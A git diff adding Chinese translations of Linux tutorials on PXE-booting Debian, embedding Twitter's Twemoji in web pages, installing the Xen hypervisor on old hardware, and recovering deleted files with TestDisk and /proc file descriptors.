Shell](http://www.tecmint.com/wp-content/uploads/2014/11/Ubuntu-Rescue-Mode-Shell.jpg) + +*Ubuntu救援模式Shell* + +## 步骤 2: 添加Debian 7 Wheezy到PXE菜单 ## + +**5.** 添加**Debian 7**到PXE服务器,需要上述Ubuntu服务器版本相同的步骤。唯一不同点在于网络启动归档镜像下载链接和源目录的名称,现在改为**debian-installer**。 + +要下载**Debian Wheezy**网络启动归档,请转到[Debian网络安装下载][6]页,从**网络启动**菜单选择你想要的系统架构,然后点击**目录**列表中的**网络启动**链接,并从**文件名**列表中下载**netboot.tar.gz**归档包。 + +因为Debian为众多系统架构如Armel,ia64,Mips,PowerPC,Sparc等等提供了网络安装源,所以在本指南中,我将只讨论**64位**架构。因为其它架构的配置过程和当前的几乎一样,唯一不同的是**debian-installer/$directory_architecture name**。 + +所以,要进一步深入,以root帐号登录到你的**PXE服务器**,并通过以下命令抓取Debian 7 64位网络启动归档包。 + + # wget http://ftp.nl.debian.org/debian/dists/wheezy/main/installer-amd64/current/images/netboot/netboot.tar.gz + +![Download Debain 7 Netboot](http://www.tecmint.com/wp-content/uploads/2014/11/Download-Debain-7-Netboot.jpg) + +*下载Debian 7网络启动包* + +**6.** 在**wget**下载完成**netboot.tar.gz**文件后,请将其解压缩并运行以下命令拷贝**debian-installer**目录到tftp服务器默认路径。 + + # tar xfz netboot.tar.gz + # cp -rf debian-installer/ /var/lib/tftpboot/ + +![Extract Debain 7 Netboot](http://www.tecmint.com/wp-content/uploads/2014/11/Extract-Debain-7-Netboot.jpg) + +*解压缩Debian 7网络启动包* + +![Copy Debain 7 Netboot to FTP](http://www.tecmint.com/wp-content/uploads/2014/11/Copy-Debain-7-Netboot-to-FTP.jpg) + +*拷贝Debian 7网络启动文件到FTP* + +**7.** 要添加**Debian Wheezy**标签到**PXE菜单**,请用你最喜爱的文本编辑器打开PXE服务器默认配置文件并添加以下标签。 + + # nano /var/lib/tftpboot/pxelinux.cfg/default + +Debian Wheezy 64位的PXE标签菜单。 + + label 7 + menu label ^7) Install Debian 7 x64 + kernel debian-installer/amd64/linux + append vga=788 initrd=debian-installer/amd64/initrd.gz -- quiet + + label 8 + menu label ^8) Install Debian 7 x64 Automated + kernel debian-installer/amd64/linux + append auto=true priority=critical vga=788 initrd=debian-installer/amd64/initrd.gz -- quiet + +![Add Debian to PXE Boot](http://www.tecmint.com/wp-content/uploads/2014/11/Add-Debian-to-PXE-Boot.jpg) + +*添加Debian到PXE启动* + +**注**:如果你想要添加其它Debian架构,请重复上述步骤,并相应替换PXE默认菜单配置文件中的标签号和**debian-installer/$architecture_name/**目录。 + +**8.** 在进行客户端测试配置之前,请执行以下命令来清除Debian源文件。 + + # cd && rm -rf debian-installer/ netboot.tar.gz pxelinux.* version.info + +**9.** 然后通过网络启动一台客户机,选择从PXE菜单安装Debian,并像正常安装一样进一步下去。 + +![Select Install Debian from PXE](http://www.tecmint.com/wp-content/uploads/2014/11/Select-Install-Debian-from-PXE.jpg) + +*选择从PXE安装Debian* + +![Select Debian Install Language](http://www.tecmint.com/wp-content/uploads/2014/11/Select-Debian-Install-Language.jpg) + +*选择Debian安装语言* + +以上是要求添加并从RHEL/CentOS 7 PXE服务器安装**Ubuntu**或**Debian**到客户机上的全部步骤。在我的下一篇文章中,我将讨论一种更为复杂的方法,如何使用RHEL/CentOS 7 PXE网络启动服务器来安装**Windows 7**到客户机。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/add-ubuntu-to-pxe-network-boot/ + +作者:[Matei Cezar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/cezarmatei/ +[1]:http://linux.cn/article-4902-1.html +[2]:http://releases.ubuntu.com/14.10/ +[3]:http://releases.ubuntu.com/14.04/ +[4]:http://cdimage.ubuntu.com/netboot/14.10/ +[5]:http://cdimage.ubuntu.com/netboot/14.04/ +[6]:https://www.debian.org/distrib/netinst diff --git a/published/201502/20141114 How To Use Emoji Anywhere With Twitter's Open Source Library.md b/published/201502/20141114 How To Use Emoji Anywhere With Twitter's Open Source Library.md new file mode 100644 index 0000000000..ab8046d43e --- /dev/null +++ b/published/201502/20141114 How To Use Emoji Anywhere With Twitter's Open Source Library.md @@ -0,0 +1,91 @@ +怎样通过 Twitter 的开源库来随处使用 Emoji 表情符号 +================================================================================ +> 通过 GitHub 将它们嵌入到网页和其他项目中。 + +![](http://a3.files.readwrite.com/image/upload/c_fit,w_620/MTI1OTA2OTIyNTI3MjcxNTU1.png) + +Emoji, 来自日本的小巧符号,通过图像表达感情,已经征服了移动互联网的信息世界。 + +现在,你可以在虚拟世界中随处使用它们了。 Twitter 最近[开源了][1]他们的 emoji 符号库,使得你可以在你自己的网站,应用,和项目中使用它们。 + +但这需要一点体力活。 Unicode 已经识别甚至标准化了 emoji 字母表, 然而 emoji 仍然[不能完全与所有的网络浏览器相兼容][2],这意味着大多数情况下,它们将呈现为 “豆腐块”或“空白盒子”。当 Twitter 想使得 emoji 到处可用时,这家社交网络联合了一家名为[Icon Factory][3]的公司来渲染浏览器以模仿文本信息符号的效果。Twiter 认为人们对他们的 emoji 库有很大的需求。 + +现在, 你可以从 [GitHub][4] 上克隆 Twitter 的整个库,从而在你的开发项目中使用它们。 下面将为你介绍如何达到上面的目的以及如何使得 emoji 更容易被使用。 + +### 为 Emoji 得到 Unicode 支持 ### + +Unicode 是国际编码标准,它为任意的符号、字母或人们想在网络上使用的数字配置了一串编码。换句话说,它是你如何在计算机上阅读文本与计算机如何读取文本之间的缺失环节。例如,对于你正看到的位于这些句子中的`空格`(LCTT 译注:英文分词中间的空格),计算机读取为 “ ”。 + +Unicode 甚至拥有其自己的[原始 emoji][5],它们可以在没有你的任何努力的情况下在浏览器中被阅读。例如,当你看到了 一个 ❤ 符号,你的计算机正在解码字符串 “2665” 。 + +要在大多数情况下使用 Twitter 的 emoji 库,你只需在你的 HTML 网页中的 ``块中添加如下脚本: + + + +这样就使得你的项目可以访问包含有已经在 Twitter 中可使用的数以百计的 Emoji 符号的 JavaScript 库。然而,创建一个仅仅包含这个脚本的文档并不能使得在你的网站中呈现出 emoji 符号,实际上,你仍需要嵌入这些 emoji 符号! + +在 ``块中,粘贴一些可以在 Twitter 的[preview.html 文件源代码][6] 中找到的 emoji 字符串。我使用了 🎹 和 🏁,当然我并不知道在浏览器窗口中它们的样子。是的,你必须粘贴并猜测它们。你已经看出了问题,我们将在第二小节中予以解决。 + +无论如何,通过一些尝试,你可以将一个如下图的原始 HTML 文件--- + +![](http://a4.files.readwrite.com/image/upload/c_fit,w_620/MTI1OTA2ODQyNTMzNTQ1OTk0.png) + +---显示为如下图的网页: + +![](http://a1.files.readwrite.com/image/upload/c_fit,w_620/MTI1OTA2ODExNjYzNDU1NTA2.png) + +### 将 Emoji 转换为可阅读的语言 ### + +对于一个网站或应用,Twitter 的解决方案是非常适用的。但如果你想通过 HTML 轻易地插入你喜爱的 emoji 符号,你需要一个更易实现的解决方案,而不是记住所有代表 emoji 的 Unicode 字符串。 + +那正是程序员 Elle Kasai 的 [Twemoji Awesome][7] 样式大展身手的地方。 + +通过向任意网页中添加 Elle 的开源样式表,你可以适用 英语单词来理解你正插入的 emoji 符号的意义。所以如若你想展示一个 心形 emoji 符号,你可以简单地输入: + + + +为了实现上面的目的,让我们下载 Elle 的项目,通过点击在 GitHub 上 “Download ZIP” 按钮。 + +接着,我们在桌面上新建一个文件夹,然后进入该文件夹,并将 emoji.html---我先前向你展示的 HTML 源文件--- 和 Elle 的 [twemoji-awesome.css][8] 一同放进去。 + +我们还需要 HTML 文件识别这个 CSS 文件,所以在 html 网页中的 `` 块中,为 CSS 文件添加一个链接: + + + +一旦你将上面的代码添加了进去,你便可以删除先前添加的 Twitter 的脚本链接。 + +现在,找到 `body` 块部分的代码,然后添加一些 emoji 符号。我使用了 ``, ``, `` 和 ``。 + +最终,你将得到如下的代码: + +![](http://a2.files.readwrite.com/image/upload/c_fit,w_620/MTI1OTA2ODcyMDYxNDU2MzU0.png) + +保存并在浏览器中查看上面的文件: + +![](http://a1.files.readwrite.com/image/upload/c_fit,w_620/MTI1OTA2ODExOTMxODkwOTYy.png) + +Duang!这样你不仅得到了一个可以在浏览器中支持 emoji 符号的基本网页,而且还知道了如何简单地实现它。你可以随意的在[我的 GitHub][9] 中查看这个教程,并且可以克隆这些实际的文件而不只是看看这些截图。 + +题图来自于[得到 Emoji][10]; Lauren Orsini 截图。 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/11/12/how-to-use-emoji-in-the-browser-window + +作者:[Lauren Orsini][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://readwrite.com/author/lauren-orsini +[1]:https://blog.twitter.com/2014/open-sourcing-twitter-emoji-for-everyone +[2]:http://www.unicode.org/reports/tr51/full-emoji-list.html +[3]:https://twitter.com/iconfactory +[4]:https://github.com/twitter/twemoji +[5]:http://www.unicode.org/reports/tr51/full-emoji-list.html +[6]:https://github.com/twitter/twemoji/blob/gh-pages/preview.html +[7]:http://ellekasai.github.io/twemoji-awesome/ +[8]:https://github.com/ellekasai/twemoji-awesome/blob/gh-pages/twemoji-awesome.css +[9]:https://github.com/laurenorsini/Emoji-Everywhere +[10]:http://getemoji.com/ diff --git a/published/201502/20141120 How to install Xen hypervisor on unused old hardware.md b/published/201502/20141120 How to install Xen hypervisor on unused old hardware.md new file mode 100644 index 0000000000..f26d753e00 --- /dev/null +++ b/published/201502/20141120 How to install Xen hypervisor on unused old hardware.md @@ -0,0 +1,230 @@ +怎样在废旧的硬件上安装 Xen 虚拟机监视器 +================================================================================ +Xen 是一个直接运行在硬件上的虚拟机监视器,这意味着你必须准备一个裸机来安装和运行 Xen。而 KVM 则和 Xen 有一些不同 —— 你可以把它添加到任何已经正在运行 Linux 的机器上。本教程描述了如何在废旧的硬件上安装和配置 Xen 虚拟机监视器。 + +整个安装过程使用 Debian Jessie(Debian 的测试发行版)作为宿主机操作系统(也称作 [Dom0][1])。Jessie 并不是唯一的选择 —— Xen 的支持是内建在 Linux 内核中的,[许多 Linux 发行版][2] 都包含支持 Xen 的内核。 + +### 找点废旧的硬件 ### + +首先,找一个可以格式化的合适的工作站,比如一台旧的笔记本或者台式机。旧的硬件可能不适合玩游戏,但是足够安装一个宿主机和一些客户机了。一个满足下面这些要求的 PC 机就可以了。 + +- 一个双核 CPU(64 位) +- 4GB 内存 +- 80GB 硬盘 +- 能够从 CD,DVD 或者 USB 引导启动 +- 一块网卡 + +注意 **CPU 必须是 64 位的,因为 Debian 已经不再支持 32 位的 Xen 安装包**。如果你没有空余的硬件,你可以花点钱买一台旧机器。2010 年值 $1000 的旗舰级笔记本现在只需要 $100。从 eBay 买台二手笔记本并升级下内存也可以满足需求。 + +### 刻录一个引导 CD/USB ### + +下载 Debian Jessie 的 ISO 镜像。从 [Debian 官网][3] 下载网络安装镜像就可以了。 + + $ wget http://cdimage.debian.org/cdimage/jessie_di_beta_2/amd64/iso-cd/debian-jessie-DI-b2-amd64-netinst.iso + +接下来,记下你的 [CD/DVD][4] 或者 [USB设备][5] 所识别的设备名 (例如 /dev/sdc)。 + +使用 dd 命令将 ISO 镜像刻录至 CD 或者 USB 中。将下面的 /dev/sdc 替换为你上面识别出的设备名。 + + $ sudo dd if=debian-jessie-DI-b2-amd64-netinst.iso of=/dev/sdc + +### 开始安装 ### + +安装前,使用刻录的 CD/USB 启动 Debian 的安装界面。 + +最好是使用有线网络,而不是 WIFI。如果因为固件或者驱动的原因导致 WIFI 不能连接,你将无法完成下面的步骤。 + +![](https://farm8.staticflickr.com/7516/15772286696_c31e4c7754_z.jpg) + +### 硬盘分区 ### + +这里的设置使用了四个分区。自动安装时通常会创建一个包含逻辑分区的扩展分区。像下面这样给硬盘分四个区。 + +- sda1 挂载至 /boot,200MB +- sda2 做为 /, 20GB, Ubuntu 占用 4GB +- sda3 做为 swap, 6GB (4GB x 1.5 = 6) +- sda4 保留用作 LVM, 不挂载,大小为剩余的硬盘大小 + +### 安装基本的系统 ### + +这里尽可能的让系统的安装更简单快速一些。一个基本的工作用系统可以稍后再添加。Debian 的 APT(Advanced Package Tool)使得添加软件非常的简单。在机器上安装 Debian 可能会有一些很浪费时间的问题。可能显卡驱动与内核不监控或者可能老旧的 CD-ROM 驱动器只能间歇性的工作。 + +当选择安装软件时,选择安装一个 SSH 服务器,不要安装桌面环境如 Gnome。 + +![](https://farm9.staticflickr.com/8541/15176520633_5d31beda9c_z.jpg) + +安装一个图形桌面需要安装成百上千的包 —— 这些额外的工作可以稍后再进行。如果你遇到问题了,等待图形桌面的安装会浪费很多时间。同时,没有桌面组件,系统的启动可以更快一些 —— 只需要几十秒而不是几分钟。整个安装过程会需要重启几次,因此这样做可以节省不少时间。 + +一个 SSH 服务器可以让你从另一台电脑来配置这台工作站。这可以避免一些旧硬件的问题 —— 可能旧机器的键盘少了几个键,LCD 屏幕有坏点或者触摸板没有反应等等。 + +### 添加 LVM (Logical Volume Manager) ### + +以 root 身份安装 LVM 工具。 + + # apt-get update + # apt-get install lvm2 + +选择一个分区创建物理卷。 + + # pvcreate /dev/sda4 + +创建卷组。 + + # vgcreate vg0 /dev/sda4 + +你并不需要创建逻辑卷。如果你想测试 LVM 是否正常,可以创建一个逻辑卷然后删掉它。 + + # lvcreate -nmytempvol -L10G vg0 + # lvremove /dev/vg0/mytempvol + +检查 LVM 状态。 + + # pvs (查看物理卷的信息) + # vgs (查看卷组的信息) + # lvs (查看逻辑卷的信息) + +### 添加一个 Linux 网桥 ### + +这里我们要添加一个桥接网卡,这样 Xen 客户机就可以通过网桥连接网络。 + +安装桥接的工具。 + + # apt-get install bridge-utils + +查看在哪块网卡配置桥接。 + + # ip addr + +![](https://farm8.staticflickr.com/7512/15610553338_2f9cf1d3a2_z.jpg) + +在这个例子中,我们有一块网卡名称为 eth0。我们准备修改配置文件(/etc/network/interfaces)将 eth0 作为桥接设备。 + +在进行更改之前,备份网络配置文件以保证原来的工作配置是安全的。 + + # cd /etc/network/ + # cp interfaces interfaces.backup + # vi /etc/network/interfaces + +文件的内容类似下面这样。 + + auto lo + iface lo inet loopback + + allow-hotplug eth0 + iface eth0 inet dhcp + +修改成这样。 + + auto lo + iface lo inet loopback + + auto eth0 + iface eth0 inet manual + + auto xenbr0 + iface xenbr0 inet dhcp + bridge_ports eth0 + +激活网卡配置的修改: + + # systemctl restart networking + +### 验证网络设置 ### + +验证桥接设备 xenbr0 创建成功。 + + # ip addr show xenbr0 + +同时检查 eth0 被成功加入网桥。 + + # brctl show + +![](https://farm6.staticflickr.com/5609/15795960355_673c71ab5c_z.jpg) + +你现在安装好了 Jessie 系统。不过此时 Xen 还没有安装。下面我们开始安装 Xen。 + +### 安装 Xen 虚拟机监视器 ### + +安装 Xen 和 QEMU 包,并升级 GRUB 引导程序。 + + # apt-get install xen-linux-system + +重启。 + +当 GRUB 界面出现时,你可以看到列出的额外的启动选项。 + +![](https://farm8.staticflickr.com/7535/15794086091_bf1bce6b4b_z.jpg) + +第一个选项会在 5 秒钟内自动启动(在 /etc/default/grub 的 GRUB_TIMEOUT 这行设置),因此这点时间可来不及喝咖啡。 + +按下方向键选择 "Debian GNU/Linux, with Xen hypervisor" 这个选项,然后按回车。这时屏幕会出现很多行信息,接着是正常的登录界面。 + +### 检查 Xen 工作是否正常 ### + +Xen 虚拟机监视器带有一个管理 Xen 的命令行程序叫做 xl,可以用来创建和管理 Xen 虚拟机。使用 xl 命令来检查 Xen 是否成功安装了。 + +以 root 用户登录,执行: + + # xl info + +将会显示很多关于 Xen 主机的信息。 + +![](https://farm9.staticflickr.com/8404/15610553388_db3b134a9d_z.jpg) + +查看已有 Xen 虚拟机的列表: + + # xl list + +![](https://farm9.staticflickr.com/8393/15610135189_ffd8bd24e8_z.jpg) + +这里显示了一个主机的列表。因为没有创建任何的 Xen 客户机,唯一的条目是 Domain-0,即你安装的 Debian 系统。 + +### 修改启动顺序 ### + +当你到这一步之后,Xen 的安装已经完成了。这里还有一件事需要修改 —— 默认的启动选项不会加载 Xen。GRUB 选择启动菜单的第一个选项 (Debian GNU/Linux),而不是第三个(Debian GNU/Linux, with Xen hypervisor)。 + +启动菜单的默认选项是在 grub 配置文件 /boot/grub/grub.cfg 中定义的。修改选项时,不要直接修改这个文件,而是编辑 /etc/default/grub 这个文件。有一个叫做 grub-mkconfig 的工具可以读取这个配置文件和 /etc/grub.d/ 中的所有莫爸妈,并写入到 grub.cfg 文件中。 + +编辑 Debian 的 grub-mkconfig 的配置文件 + + # vi /etc/default/grub + +修改这一行: + + GRUB_DEFAULT=0 + +改为 + + GRUB_DEFAULT='Debian GNU/Linux, with Xen hypervisor' + +然后更新 grub 的配置文件。 + + # grub-mkconfig -o /boot/grub/grub.cfg + +最后重启。几秒钟后,grub 启动菜单出现了。检查看第三个选项 "Debian GNU/Linux, with Xen hypervisor" 是否是自动选中的选项。 + +### 最后 ### + +如果你使用这台主机作为你的工作站,可以安装一个图形桌面。Debian 包括好几种[桌面环境][6]。如果你想要一个包含所有东西的图形桌面,那么安装 Gnome 吧。如果它的图形效果并不是你的菜,试试 Awesome 吧。 + +注意 Debian 的默认 Gnome 环境有大量的额外应用程序包括办公套件 LibreOffice,Iceweasel 浏览器和 Rhythmbox 音乐播放器。安装命令 "apt-get install gnome" 会安装 1,000 多个包并需要将近 2GB 的硬盘空间。运行这个重量级的桌面环境需要占用 1GB 的内存。 + +(LCTT 译注:本文没有涉及如何安装 guest 虚拟机,请关注后继文章) + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/install-xen-hypervisor.html + +作者:[Nick Hardiman][a] +译者:[Liao](https://github.com/liaoishere) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nick +[1]:http://wiki.xen.org/wiki/Dom0 +[2]:http://wiki.xen.org/wiki/Dom0_Kernels_for_Xen +[3]:https://www.debian.org/devel/debian-installer/ +[4]:http://ask.xmodulo.com/detect-dvd-writer-device-name-writing-speed-command-line-linux.html +[5]:http://ask.xmodulo.com/find-device-name-usb-drive-linux.html +[6]:https://wiki.debian.org/DesktopEnvironment diff --git a/published/201502/20141203 Undelete Files on Linux Systems.md b/published/201502/20141203 Undelete Files on Linux Systems.md new file mode 100644 index 0000000000..59367ed918 --- /dev/null +++ b/published/201502/20141203 Undelete Files on Linux Systems.md @@ -0,0 +1,127 @@ +怎样在 Linux 系统中恢复已删除文件 +================================================================================ + +当用户意外地删除了一个仍然需要的文件时,大多数情况下,是没有简便的方法可以重新找回或重建这个文件。不过,幸运的是文件是可以通过一些方法恢复的。当用户删除了一个文件,该文件并没有消失,只是被隐藏了一段时间。 + +这里将解释它是如何工作的。在一个文件系统中,有一个叫做 `文件分配表` 的东西,这个表跟踪文件在存储单元(如硬盘, MicroSD 卡,闪存驱动器等等)中的位置。当一个文件被删除,文件系统将会在`文件分配表`中执行以下两个任务之一:这个文件在`文件分配表`上的条目被标记为 “自由空间” 或删除`文件分配表`里这个文件的条目,且将相应的空间被标记为自由空间 。现在,如果有一个新的文件需要被放置在一个存储单元上,操作系统将会把这个文件放置到标记为空位的地方。在新文件被写入到这个空位后,被删除的文件就彻底消失了。当需要恢复一个已经删除的文件时,用户绝对不能再对任何文件进行操作,因为假如该文件对应的“空位”被占用,这个文件就永远也不能恢复了。 + +### 恢复软件是如何工作的? ### + +大多数的文件系统(在删除文件时)只是标记空间为空白。在这些文件系统下,恢复软件查看`文件分配表`这个文件,然后复制被删除的文件到另外的存储单元中。假如该文件被复制到其它需要恢复的被删除的存储单元中,那么用户将有可能会失去那个所需的删除文件。 + +文件系统很少会擦除`文件分配表`中的条目。假如文件系统真的这样做了, 这便是恢复软件在恢复文件了。恢复软件在存储单元中扫描文件头,所有文件都拥有一个特殊的编码字符串,它们位于文件的最前面,也被叫做 `魔法数字`。例如,一个编译的 JAVA 类文件的魔法数字在十六进制中是“CAFEBABE”。所以,假如要恢复该类型的文件,恢复软件会查找 “CAFEBABE” 然后复制文件到另一个存储单元。一些恢复软件可以查找某种特殊的文件类型。若用户想恢复一个 PDF 文件,则恢复软件将会查找十六进制的魔法数字 “25504446”,这恰恰是 ASCII 编码中的 “%PDF”。恢复软件将会查找所有的魔法数字,然后用户可以选择恢复哪个已删除的文件。 + +假如一个文件的部分被覆写了,则整个文件就会被损坏。通常这个文件可以被恢复,但是其中的内容可能已经没有什么用处。例如,恢复一个已损坏的 JPEG 文件将会是无意义的,因为图片查看器不能从这个损坏的文件产生一幅图片。因此,即使用户拥有了这个文件,该文件也将毫无用处。 + +### 设备的位置:### + +在我们继续之前,下面的一些信息将会对指引恢复软件找到正确的存储单元起到一定的帮助。所有的设备均挂载在 `/dev/` 目录下。操作系统赋予每个设备的名称(并不是管理员给予每个分区或设备的名称)遵循一定的命名规律。 + +第一个 SATA 硬盘的第二个分区的名称将会是 sda2。名称的第一个字母暗示了存储类型,在这里指的是 SATA,但字母 “s” 也可能指的是 SCSI、 FireWire(火线端口)或 USB。第二个字母 “d” 指的是 disk(硬盘)。第三个字母指的是设备序数,即字母 “a” 指的是第一个 SATA 而 “b” 指的是第二个。最后的数字代表分区。没有分区数字的设备名代表该设置的所有分区。对于上面的例子,对应的名称为 sda 。作为命名的第一个字母还可能是 “h” ,这对应 PATA 硬盘(IDE)。 + +以下为命名规律的一些例子。假如一个用户有一个 SATA 硬盘(sda),这个设备有 4 个分区- sda1、 sda2、 sda3 和 sda4 。该用户删除了第三个分区,但直到格式化第四个分区之前,第四个分区名 sda4 都将保留不变。然后该用户插入了一个带有一个分区 - 即sdb1- 的 usb 存储卡(sdb),又增加了一个带有一个分区 -hda1- 的 IDE 硬盘 ,接着该用户又增加了一个 SCSI 硬盘 - sdc1 。接着用户移除了 USB 存储卡(sdb)。现在,SCSI 硬盘的名称仍然为 sdc,但如果这个 SCSI 被移除接着再被插入,则它的名称将变为 sdb。虽然还有其他的存储设备存在, 那个 IDE 硬盘的名称仍会有一个 “a”, 因为它是第一个 IDE 硬盘,IDE 设备的命名与 SCSI、 SATA、 FireWire 和 USB 设备要分开计数。 + +### 使用 TestDisk 进行恢复:### + +每个恢复软件有其不同的功能,特征及支持的不同文件系统。下面是一些关于 使用 TestDisk 在各种文件系统中恢复文件的指南。 + +####FAT16、 FAT32、 exFAT (FAT64)、 NTFS 以及 ext2/3/4:#### + +TestDisk 是一个运行在 Linux、 *BSD、 SunOS、 Mac OS X、 DOS 和 Windows 等操作系统下的开源的自由软件。 TestDisk 可以从下面的链接中找到 :[http://www.cgsecurity.org/wiki/TestDisk][1]。TestDisk 也可以通过键入 `sudo apt-get install testdisk` 来安装。TestDisk 有着许多的功能,但这篇文章将只关注恢复文件这个功能。 + +使用 root 权限从终端中打开 TestDisk 可以通过键入 `sudo testdisk` 命令。 + +现在, TestDisk 命令行应用将会被执行。终端的显示将会改变。TestDisk 询问用户它是否可以保留日志,这完全由用户决定。假如一个用户正从系统存储中恢复文件,则不必保留日志。可选择的选项有“生成”、 “追加” 和 “无日志”。假如用户想保留日志,则日志将会保留在该用户的主目录。 + +![](http://www.linux.org/attachments/screen1-jpg.342/?.jpg) + +在接着的屏幕中,存储设备以 `/dev/*`的方式被罗列出来。对于我的系统,系统的存储单元为 `/dev/sda`,这意味着我的存储单元为 一个 SATA硬盘(sd)且它是第一个硬盘(a)。每个存储单元的容量以 Gigabyte(千兆字节)为单位显示的。使用上下键来选择一个存储设备然后点击进入。 + +![](http://www.linux.org/attachments/screen2-jpg.343/?.jpg) + +下一屏显示出一个列有分区表(也叫做分区映射表)的清单。正如文件有`文件配置表`,分区有着分区表。分区是存储设备上的分段。例如在几乎所有的 Linux 系统中,至少存在两种分区类型 - EXT3/4 和 Swap 。每一个分区表将会在下面被简要地描述。TestDisk 并不支持所有类型的分区表,所以这并不是完整的列表。 + +![](http://www.linux.org/attachments/screen3-jpg.344/?.jpg) + +- **Intel** - 这类分区表在 Windows 系统和许多的 Linux 系统中非常普遍,它也常常称作 MBR 分区表。 +- **EFI GPT** - 这种类型的分区表通常用在 Linux 系统中。对于 Linux 系统,这种分区表是最为推荐的, 因为逻辑分区或扩展分区的概念并不适用于 GPT (GUID Partition Table) 分区表。 这意味着,如果每个分区中有一个 Linux 系统,一个 Linux 用户可以从多种类型的 Linux 系统中进行多重启动。当然使用 GPT 分区表还有其他的优势,但那些已超出了本文的讨论范围。 +- **Humax** - Humax 分区映射表适用于韩国公司 Humax 生产的设备。 +- **Mac** - Apple 分区映射表 (APM) 适用于 Apple 的设备。 +- **None** - 某些设备并没有分区表。例如,许多 Subor 游戏控制台不使用分区映射表。如果一个用户试图以其它分区表类型从这类设备中恢复文件,用户就会困扰 TestDisk 为何找卟到任何的文件系统或者文件。 +- **Sun** - Sun 分区表适用于 Sun 系统。 +- **Xbox** -Xbox 适用于使用 Xbox 分区映射表的存储设备。 + +假如用户选择了 “Xbox” ,尽管他的系统使用了 GPT 分区表, 那么 TestDisk 将不能找到任何分区或文件系统。假如 TestDisk 按照用户的选择执行,则它可能猜测错误。(下面的图片显示的是当分区表类型错误时的输出) + +![](http://www.linux.org/attachments/xbox-jpg.350/?.jpg) + +当用户为他们的设备选择了正确的选项,则在下一屏中,选择 “高级” 选项。 + +![](http://www.linux.org/attachments/screen4-jpg.345/?.jpg) + +现在,用户将看到一个列有用户存储设备中所有的文件系统或分区的列表。假如用户选择了错误的分区映射表,则在这一步中用户就将会知道他们做出了错误的选择。假如没有错误,通过移动文字光标来高亮选择含有被删除文件的分区。使用 左右键来高亮位于终端底部的 “列表”。接着,按下回车确认。 + +![](http://www.linux.org/attachments/screen5-jpg.346/?.jpg) + +新的一屏便会呈现出列有文件和目录的列表。那些白色的文件名就是未被删除的文件,而红色的文件名是那些已被删除的文件。最右边的一列是文件的名称,从右到左方向的接着一列是文件的创建日期,再往左的一列是文件的大小(以 byte/ 比特为单位),最左边带有“-”,“d” ,“r”, “w” 和"x"的一列则代表的是文件的权限情况。“d” 表示该文件为一个目录,其他的权限术语与本文关系不大。在列表的最顶端以“.”代表的一项表示当前目录,第二行以".."代表的一项表示当前目录的上级目录,所以用户可以通过选择目录所在行到达该目录。 + +![](http://www.linux.org/attachments/screen6-jpg.347/?.jpg) + +举个例子,我想进入"Xaiml\_Dataset" 目录,该目录基本上由被删除的文件组成。通过按键盘上的 "c"键,我将恢复文件 "computers.xaiml",接着我被询问选择一个目标目录,当然,我应该放置该文件到另一个分区中。现在,当我在我的家目录时,按下了“c”键。(选择目标目录时)哪个目录被高亮并没有什么影响,当前目录就是目标目录,在屏幕的上方,将会显示“复制完成”的消息。在我的家目录中便会有一个名为"Xaiml_Dataset"的目录,里面里有一个 Xaiml 文件。 假如我在更多的已删除文件上按“c” 键,则这些文件将会被放置到新的文件夹中而无需再向我询问目标目录。 + +![](http://www.linux.org/attachments/screen7-jpg.348/?.jpg) + +![](http://www.linux.org/attachments/screen8-jpg.349/?.jpg) + +当这些步骤完成后,重复按“q”键直到看到正常的终端模样。目录"Xaiml_Dataset" 只能被 root 用户访问。为了解决这个问题,使用 root 权限改变该目录及其子目录的权限。做完这些后,文件便被恢复了且用户可以访问它们。 + +### 特别的 ReiserFS:### + +为了从 ReiserFS 文件系统中恢复一个文件,首先需将分区中的所有文件做一个备份。因为如果发生某些错误, 这个方法可能会引起文件丢失。接着执行下面的命令,其中 `DEVICE`指的是那些以 sda2 形式命名的设备。一些文件将被放入 lost+found 目录而其他则会保存到原先被删除的位置。 + + reiserfsck --rebuild-tree --scan-whole-partition /dev/DEVICE + +### 恢复被某个程序打开的删除文件: ### + +假设用户意外地删除了一个文件,且该文件被某个程序打开。虽然在硬盘中该文件被删除了,但这个程序正使用着位于 RAM 中的该文件的副本。幸好,我们有两种简单的解决方法来恢复该文件。 + +假如这个软件有保存功能,如文本编辑器,则用户可以重新保存该文件,这样,文本编辑器可以将该文件写入硬盘中。 + +假设在音乐播放器中有一个 MP3 文件,而该音乐播放器并不能保存该 MP3 文件,则这种情形下需要比先前花更多的时间来恢复文件。不幸的是,这种方法并不能保证在所有的系统和应用中有效。首先,键入下面的命令。 + + lsof -c smplayer | grep mp3 + +上面的命令会列出所有由 smplayer 使用的文件,这个列表由 `grep` 命令通过管道搜索 mp3 。命令的输入类似于下面: + + smplayer 10037 collier mp3 169r 8,1 676376 1704294 /usr/bin/smplayer + +现在,键入下面的命令来直接从 RAM(在 Linux 系统中,`/proc/`映射到 RAM)中恢复文件,并复制该文件到选定的文件夹中。其中 `cp` 指的是复制命令,输出中的数字 10037 来自于进程数,输出中的数字 169 指的是文件描述符,"~/Music/"为目标目录,最后的 "music.mp3" 为用户想恢复的文件的名称。 + + cp /proc/10037/fd/169 ~/Music/music.mp3 + +### 真正的删除: ### + +为确保一个文件不能被恢复,可以使用一个命令来 “擦除” 硬盘。擦除硬盘实际上是向硬盘中写入无意义的数据。例如,许多擦除程序向硬盘中写入零,随机字母或随机数据。不会有空间被占用或丢失,擦除程序只是对空位进行重写覆盖。假如存储单元被文件占满而没有空余空间,则所有先前被删除的文件将会消失而不能恢复。 + 